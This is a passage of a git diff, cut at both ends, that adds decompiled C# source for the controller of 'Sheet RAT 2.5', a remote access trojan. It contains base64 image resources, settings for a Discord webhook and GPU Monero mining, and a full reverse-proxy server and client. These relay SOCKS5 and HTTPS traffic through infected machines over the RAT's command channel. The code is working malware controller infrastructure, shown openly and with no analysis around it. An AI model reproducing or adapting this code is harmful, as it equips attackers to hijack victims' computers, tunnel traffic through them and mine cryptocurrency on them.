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 + + \ No newline at end of file diff --git a/Server/Server/Properties/Settings.cs b/Server/Server/Properties/Settings.cs new file mode 100644 index 0000000..0565d9e --- /dev/null +++ b/Server/Server/Properties/Settings.cs @@ -0,0 +1,77 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Properties.Settings +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System.CodeDom.Compiler; +using System.Configuration; +using System.Diagnostics; +using System.Runtime.CompilerServices; + +//#nullable disable +namespace Server.Properties { + +[CompilerGenerated] +[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.3.0.0")] +internal sealed class Settings : ApplicationSettingsBase +{ + private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); + + public static Settings Default => Settings.defaultInstance; + + [UserScopedSetting] + [DebuggerNonUserCode] + [DefaultSettingValue("3765")] + public string port + { + get => (string) this[nameof (port)]; + set => this[nameof (port)] = (object) value; + } + + [UserScopedSetting] + [DebuggerNonUserCode] + [DefaultSettingValue("True")] + public bool AutoStartPort + { + get => (bool) this[nameof (AutoStartPort)]; + set => this[nameof (AutoStartPort)] = (object) value; + } + + [UserScopedSetting] + [DebuggerNonUserCode] + [DefaultSettingValue("False")] + public bool notifynew + { + get => (bool) this[nameof (notifynew)]; + set => this[nameof (notifynew)] = (object) value; + } + + [UserScopedSetting] + [DebuggerNonUserCode] + [DefaultSettingValue("False")] + public bool notify + { + get => (bool) this[nameof (notify)]; + set => this[nameof (notify)] = (object) value; + } + + [UserScopedSetting] + [DebuggerNonUserCode] + [DefaultSettingValue("True")] + public bool DiscordWebHook + { + get => (bool) this[nameof (DiscordWebHook)]; + set => this[nameof (DiscordWebHook)] = (object) value; + } + + [UserScopedSetting] + [DebuggerNonUserCode] + [DefaultSettingValue("True")] + public bool MiningGpuXmr + { + get => (bool) this[nameof (MiningGpuXmr)]; + set => this[nameof (MiningGpuXmr)] = (object) value; + } +} +} diff --git a/Server/Server/ReverseProxy/ReverseProxyClient.cs b/Server/Server/ReverseProxy/ReverseProxyClient.cs new file mode 100644 index 0000000..807c496 --- /dev/null +++ b/Server/Server/ReverseProxy/ReverseProxyClient.cs @@ -0,0 +1,492 @@ +// Decompiled with JetBrains decompiler +// Type: Server.ReverseProxy.ReverseProxyClient +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.IO; +using System.Net.Sockets; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +//#nullable disable +namespace Server.ReverseProxy { + +public class ReverseProxyClient +{ + public const int SOCKS5_DEFAULT_PORT = 3218; + public const byte SOCKS5_VERSION_NUMBER = 5; + public const byte SOCKS5_RESERVED = 0; + public const byte SOCKS5_AUTH_NUMBER_OF_AUTH_METHODS_SUPPORTED = 2; + public const byte SOCKS5_AUTH_METHOD_NO_AUTHENTICATION_REQUIRED = 0; + public const byte SOCKS5_AUTH_METHOD_GSSAPI = 1; + public const byte SOCKS5_AUTH_METHOD_USERNAME_PASSWORD = 2; + public const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_BEGIN = 3; + public const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_END = 127 /*0x7F*/; + public const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_BEGIN = 128 /*0x80*/; + public const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_END = 254; + public const byte SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS = 255 /*0xFF*/; + public const byte SOCKS5_CMD_REPLY_SUCCEEDED = 0; + public const byte SOCKS5_CMD_REPLY_GENERAL_SOCKS_SERVER_FAILURE = 1; + public const byte SOCKS5_CMD_REPLY_CONNECTION_NOT_ALLOWED_BY_RULESET = 2; + public const byte SOCKS5_CMD_REPLY_NETWORK_UNREACHABLE = 3; + public const byte SOCKS5_CMD_REPLY_HOST_UNREACHABLE = 4; + public const byte SOCKS5_CMD_REPLY_CONNECTION_REFUSED = 5; + public const byte SOCKS5_CMD_REPLY_TTL_EXPIRED = 6; + public const byte SOCKS5_CMD_REPLY_COMMAND_NOT_SUPPORTED = 7; + public const byte SOCKS5_CMD_REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 8; + public const byte SOCKS5_ADDRTYPE_IPV4 = 1; + public const byte SOCKS5_ADDRTYPE_DOMAIN_NAME = 3; + public const byte SOCKS5_ADDRTYPE_IPV6 = 4; + public const int BUFFER_SIZE = 8192 /*0x2000*/; + private bool _receivedConnResponse; + private MemoryStream _handshakeStream; + private byte[] _buffer; + public DataGridViewRow LV; + private bool _isBindCommand; + private bool _isUdpCommand; + private bool _isConnectCommand; + private bool _isIpType; + private bool _isIPv6NameType; + private bool _isDomainNameType; + private bool _disconnectIsSend; + private ReverseProxyServer Server; + public FormReverseProxy ProxyForm; + public Clients clients; + + public Socket Handle { get; private set; } + + public long PacketsReceived { get; private set; } + + public long PacketsSended { get; private set; } + + public long LengthReceived { get; private set; } + + public long LengthSent { get; private set; } + + public int ConnectionId => this.Handle.Handle.ToInt32(); + + public string TargetServer { get; private set; } + + public ushort TargetPort { get; private set; } + + public bool IsConnected { get; private set; } + + public ReverseProxyClient.ProxyType Type { get; private set; } + + public string HostName { get; private set; } + + public bool ProxySuccessful { get; private set; } + + public ReverseProxyClient(Socket socket, ReverseProxyServer server, FormReverseProxy proxyform) + { + this.Handle = socket; + this.ProxyForm = proxyform; + this._handshakeStream = new MemoryStream(); + this._buffer = new byte[8192 /*0x2000*/]; + this.IsConnected = true; + this.TargetServer = ""; + this.Type = ReverseProxyClient.ProxyType.Unknown; + this.Server = server; + if (this.ProxyForm != null) + this.AddToList(); + try + { + socket.BeginReceive(this._buffer, 0, this._buffer.Length, SocketFlags.None, new AsyncCallback(this.AsyncReceive), (object) null); + } + catch (Exception ex) + { + this.Disconnect(); + } + } + + private void AsyncReceive(IAsyncResult ar) + { + if (!this.IsConnected) + return; + try + { + int count = this.Handle.EndReceive(ar); + if (count <= 0) + { + this.Disconnect(); + return; + } + if (count > 5000 || this._handshakeStream.Length + (long) count > 5000L) + { + this.Disconnect(); + return; + } + this.LengthReceived += (long) count; + this._handshakeStream.Write(this._buffer, 0, count); + } + catch + { + this.Disconnect(); + return; + } + byte[] array = this._handshakeStream.ToArray(); + switch (this.PacketsReceived) + { + case 0: + if (array.Length >= 3) + { + string str1 = Encoding.ASCII.GetString(array); + if (array[0] == (byte) 5) + this.Type = ReverseProxyClient.ProxyType.SOCKS5; + else if (str1.StartsWith("CONNECT") && str1.Contains(":")) + { + this.Type = ReverseProxyClient.ProxyType.HTTPS; + using (StreamReader streamReader = new StreamReader((Stream) new MemoryStream(array))) + { + string str2 = streamReader.ReadLine(); + if (str2 != null) + { + string[] strArray = str2.Split(new string[1] + { + " " + }, StringSplitOptions.RemoveEmptyEntries); + if (strArray.Length != 0) + { + try + { + string str3 = strArray[1]; + this.TargetServer = str3.Split(':')[0]; + this.TargetPort = ushort.Parse(str3.Split(':')[1]); + this._isConnectCommand = true; + this._isDomainNameType = true; + this.ProxyForm.plugin.Send((object) $"ReverseProxy<@>ReverseProxyConnect<@>{this.TargetPort.ToString()}<@>{this.TargetServer}<@>{this.ConnectionId.ToString()}<@>"); + return; + } + catch (Exception ex) + { + this.Disconnect(); + } + } + } + else + break; + } + } + else + break; + if (this.CheckProxyVersion(array)) + { + this.SendSuccessToClient(); + ++this.PacketsReceived; + this._handshakeStream.SetLength(0L); + break; + } + break; + } + break; + case 1: + int num = 6; + if (array.Length >= num) + { + if (!this.CheckProxyVersion(array)) + return; + this._isConnectCommand = array[1] == (byte) 1; + this._isBindCommand = array[1] == (byte) 2; + this._isUdpCommand = array[1] == (byte) 3; + this._isIpType = array[3] == (byte) 1; + this._isDomainNameType = array[3] == (byte) 3; + this._isIPv6NameType = array[3] == (byte) 4; + Array.Reverse((Array) array, array.Length - 2, 2); + this.TargetPort = BitConverter.ToUInt16(array, array.Length - 2); + if (this._isConnectCommand) + { + if (this._isIpType) + this.TargetServer = $"{array[4].ToString()}.{array[5].ToString()}.{array[6].ToString()}.{array[7].ToString()}"; + else if (this._isDomainNameType) + { + int count = (int) array[4]; + if (num + count < array.Length) + this.TargetServer = Encoding.ASCII.GetString(array, 5, count); + } + if (this.TargetServer.Length <= 0) + return; + this.ProxyForm.plugin.Send((object) $"ReverseProxy<@>ReverseProxyConnect<@>{this.TargetPort.ToString()}<@>{this.TargetServer}<@>{this.ConnectionId.ToString()}"); + return; + } + this.SendFailToClient(); + this.Disconnect(); + return; + } + break; + } + try + { + this.Handle.BeginReceive(this._buffer, 0, this._buffer.Length, SocketFlags.None, new AsyncCallback(this.AsyncReceive), (object) null); + } + catch (Exception ex) + { + this.Disconnect(); + } + } + + public void Response() + { + if (!this.IsConnected) + return; + Task.Run((Action) (() => + { + if (this.LV != null) + Program.form.Invoke((MethodInvoker) (() => + { + lock (this.ProxyForm.metroGrid1) + { + this.LV.Cells[1].Value = (object) (string.IsNullOrEmpty(this.HostName) ? $"{this.HostName} ({this.TargetServer})" : this.TargetServer).Replace(" ", "").Replace("(", "").Replace(")", ""); + this.LV.Cells[2].Value = (object) this.TargetPort.ToString(); + this.LV.Cells[3].Value = (object) this.ProxyForm.GetHumanReadableFileSize(this.LengthReceived); + this.LV.Cells[4].Value = (object) this.ProxyForm.GetHumanReadableFileSize(this.LengthSent); + this.LV.Cells[5].Value = (object) this.Type.ToString(); + } + })); + if (this.Handle.Connected) + return; + this.Disconnect(); + })); + } + + public void AddToList() + { + if (this.LV != null) + return; + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + dataGridViewRow.Tag = (object) this; + this.LV = dataGridViewRow; + DataGridViewCellCollection cells1 = this.LV.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) this.ProxyForm.plugin.Ip; + DataGridViewTextBoxCell gridViewTextBoxCell2 = gridViewTextBoxCell1; + cells1.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells2 = this.LV.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) (string.IsNullOrEmpty(this.HostName) ? $"{this.HostName} ({this.TargetServer})" : this.TargetServer).Replace(" ", "").Replace("(", "").Replace(")", ""); + DataGridViewTextBoxCell gridViewTextBoxCell4 = gridViewTextBoxCell3; + cells2.Add((DataGridViewCell) gridViewTextBoxCell4); + DataGridViewCellCollection cells3 = this.LV.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell5 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell5.Value = (object) this.TargetPort.ToString(); + DataGridViewTextBoxCell gridViewTextBoxCell6 = gridViewTextBoxCell5; + cells3.Add((DataGridViewCell) gridViewTextBoxCell6); + DataGridViewCellCollection cells4 = this.LV.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell7 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell7.Value = (object) this.ProxyForm.GetHumanReadableFileSize(this.LengthReceived); + DataGridViewTextBoxCell gridViewTextBoxCell8 = gridViewTextBoxCell7; + cells4.Add((DataGridViewCell) gridViewTextBoxCell8); + DataGridViewCellCollection cells5 = this.LV.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell9 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell9.Value = (object) this.ProxyForm.GetHumanReadableFileSize(this.LengthSent); + DataGridViewTextBoxCell gridViewTextBoxCell10 = gridViewTextBoxCell9; + cells5.Add((DataGridViewCell) gridViewTextBoxCell10); + DataGridViewCellCollection cells6 = this.LV.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell11 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell11.Value = (object) this.Type.ToString(); + DataGridViewTextBoxCell gridViewTextBoxCell12 = gridViewTextBoxCell11; + cells6.Add((DataGridViewCell) gridViewTextBoxCell12); + if (!this.IsConnected) + return; + Program.form.Invoke((MethodInvoker) (() => + { + lock (this.ProxyForm.metroGrid1) + this.ProxyForm.metroGrid1.Rows.Add(this.LV); + })); + } + + public void Disconnect() + { + if (!this._disconnectIsSend) + { + this._disconnectIsSend = true; + this.ProxyForm.plugin.Send((object) ("ReverseProxy<@>ReverseProxyDisconnect<@>" + this.ConnectionId.ToString())); + } + try + { + this.Handle.Close(); + } + catch + { + } + if (this.clients != null) + this.clients.Disconnected("Reverse Disconnect"); + this.IsConnected = false; + this.Server.CallonUpdateConnection(this); + } + + public void SendToClient(byte[] payload) + { + lock (this.Handle) + { + try + { + this.LengthSent += (long) payload.Length; + this.Handle.Send(payload); + if (this.ProxyForm == null) + return; + this.Response(); + } + catch (Exception ex) + { + this.Disconnect(); + } + } + } + + private void SendFailToClient() + { + if (this.Type == ReverseProxyClient.ProxyType.HTTPS) + this.Disconnect(); + if (this.Type != ReverseProxyClient.ProxyType.SOCKS5) + return; + this.SendToClient(new byte[2]{ (byte) 5, byte.MaxValue }); + this.Disconnect(); + } + + private void SendSuccessToClient() + { + if (this.Type != ReverseProxyClient.ProxyType.SOCKS5) + return; + this.SendToClient(new byte[2]{ (byte) 5, (byte) 0 }); + } + + private bool CheckProxyVersion(byte[] payload) + { + if (this.Type == ReverseProxyClient.ProxyType.HTTPS || payload.Length == 0 || payload[0] == (byte) 5) + return true; + this.SendFailToClient(); + this.Disconnect(); + return false; + } + + public void HandleCommandResponse(string[] response, Clients clients) + { + this.clients = clients; + if (!this.Handle.Connected) + this.Disconnect(); + if (!this.IsConnected || this._receivedConnResponse) + return; + this._receivedConnResponse = true; + if (Convert.ToBoolean(response[4])) + { + this.HostName = response[7]; + if (this.Type == ReverseProxyClient.ProxyType.HTTPS) + this.SendToClient(Encoding.ASCII.GetBytes("HTTP/1.0 200 Connection established\r\n\r\n")); + else if (this.Type == ReverseProxyClient.ProxyType.SOCKS5) + { + try + { + List byteList = new List(); + byteList.Add((byte) 5); + byteList.Add((byte) 0); + byteList.Add((byte) 0); + byteList.Add((byte) 1); + byteList.AddRange((IEnumerable) Convert.FromBase64String(response[5])); + byteList.Add((byte) Math.Floor((Decimal) Convert.ToInt32(response[6]) / 256M)); + byteList.Add((byte) (Convert.ToInt32(response[6]) % 256 /*0x0100*/)); + this.SendToClient(byteList.ToArray()); + } + catch (Exception ex) + { + byte[] payload = new byte[10]; + payload[0] = (byte) 5; + payload[3] = (byte) 1; + this.SendToClient(payload); + this.Disconnect(); + } + } + this._handshakeStream.Close(); + this.ProxySuccessful = true; + try + { + this.Handle.BeginReceive(this._buffer, 0, this._buffer.Length, SocketFlags.None, new AsyncCallback(this.AsyncReceiveProxy), (object) null); + } + catch (Exception ex) + { + this.Disconnect(); + } + } + else if (this.Type == ReverseProxyClient.ProxyType.HTTPS) + { + this.Disconnect(); + } + else + { + if (this.Type != ReverseProxyClient.ProxyType.SOCKS5) + return; + this.SendToClient(new byte[10] + { + (byte) 5, + (byte) 5, + (byte) 0, + (byte) 1, + (byte) 0, + (byte) 0, + (byte) 0, + (byte) 0, + (byte) 0, + (byte) 0 + }); + this.Disconnect(); + } + } + + private void AsyncReceiveProxy(IAsyncResult ar) + { + if (!this.IsConnected) + return; + try + { + int length = this.Handle.EndReceive(ar); + if (length <= 0) + { + this.Disconnect(); + return; + } + this.LengthReceived += (long) length; + byte[] numArray = new byte[length]; + Array.Copy((Array) this._buffer, (Array) numArray, length); + if (!this.clients.Connect) + return; + if (!this.clients.TcpClient.Connected) + { + this.clients.Disconnected("Send !TcpClient.Connected"); + return; + } + this.clients.Send(Encoding.UTF8.GetBytes($"ReverseProxy<@>ReverseProxyData<@>{this.ConnectionId.ToString()}<@>{Convert.ToBase64String(numArray)}<@>")); + this.LengthSent += (long) numArray.Length; + ++this.PacketsSended; + } + catch (Exception ex) + { + this.Disconnect(); + return; + } + ++this.PacketsReceived; + try + { + this.Handle.BeginReceive(this._buffer, 0, this._buffer.Length, SocketFlags.None, new AsyncCallback(this.AsyncReceiveProxy), (object) null); + } + catch (Exception ex) + { + } + if (this.ProxyForm == null) + return; + this.Response(); + } + + public enum ProxyType + { + Unknown, + SOCKS5, + HTTPS, + } +} +} diff --git a/Server/Server/ReverseProxy/ReverseProxyServer.cs b/Server/Server/ReverseProxy/ReverseProxyServer.cs new file mode 100644 index 0000000..e366ca0 --- /dev/null +++ b/Server/Server/ReverseProxy/ReverseProxyServer.cs @@ -0,0 +1,126 @@ +// Decompiled with JetBrains decompiler +// Type: Server.ReverseProxy.ReverseProxyServer +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.Sockets; + +//#nullable disable +namespace Server.ReverseProxy { + +public class ReverseProxyServer +{ + private Socket _socket; + public readonly List _clients; + public FormReverseProxy proxy; + public bool Active; + + public ReverseProxyServer(FormReverseProxy proxy) + { + this.proxy = proxy; + this._clients = new List(); + } + + public void StartServer(string ipAddress, ushort port) + { + this.Stop(); + this._socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + this._socket.Bind((EndPoint) new IPEndPoint(IPAddress.Parse(ipAddress), (int) port)); + this._socket.Listen(100); + this._socket.BeginAccept(new AsyncCallback(this.AsyncAccept), (object) null); + this.Active = true; + } + + private void AsyncAccept(IAsyncResult ar) + { + lock (this._clients) + { + try + { + this._clients.Add(new ReverseProxyClient(this._socket.EndAccept(ar), this, this.proxy)); + } + catch + { + } + } + try + { + this._socket.BeginAccept(new AsyncCallback(this.AsyncAccept), (object) null); + } + catch + { + } + } + + public void Stop() + { + this.Active = false; + if (this._socket != null) + { + this._socket.Close(); + this._socket = (Socket) null; + } + lock (this._clients) + { + foreach (ReverseProxyClient reverseProxyClient in new List((IEnumerable) this._clients)) + reverseProxyClient.Disconnect(); + this._clients.Clear(); + } + this.proxy.Invoke((MethodInvoker) (() => + { + lock (this.proxy.metroGrid1) + this.proxy.metroGrid1.Rows.Clear(); + })); + } + + public ReverseProxyClient GetClientByConnectionId(int connectionId) + { + lock (this._clients) + return this._clients.FirstOrDefault((Func) (t => t.ConnectionId == connectionId)); + } + + public void CallonUpdateConnection(ReverseProxyClient proxyClient) + { + try + { + if (proxyClient.IsConnected) + return; + lock (this._clients) + { + for (int i = 0; i < this._clients.Count; i++) + { + if (this._clients[i].ConnectionId == proxyClient.ConnectionId) + { + if (this._clients[i].LV != null) + Program.form.Invoke((MethodInvoker) (() => + { + lock (this.proxy.metroGrid1) + { + try + { + this.proxy.metroGrid1.Rows.Remove(this._clients[i].LV); + } + catch + { + } + } + })); + this._clients.RemoveAt(i); + break; + } + } + } + } + catch + { + } + } +} +} diff --git a/Server/Stub/Helper/CryptString/Caesars.cs b/Server/Stub/Helper/CryptString/Caesars.cs new file mode 100644 index 0000000..2ecb607 --- /dev/null +++ 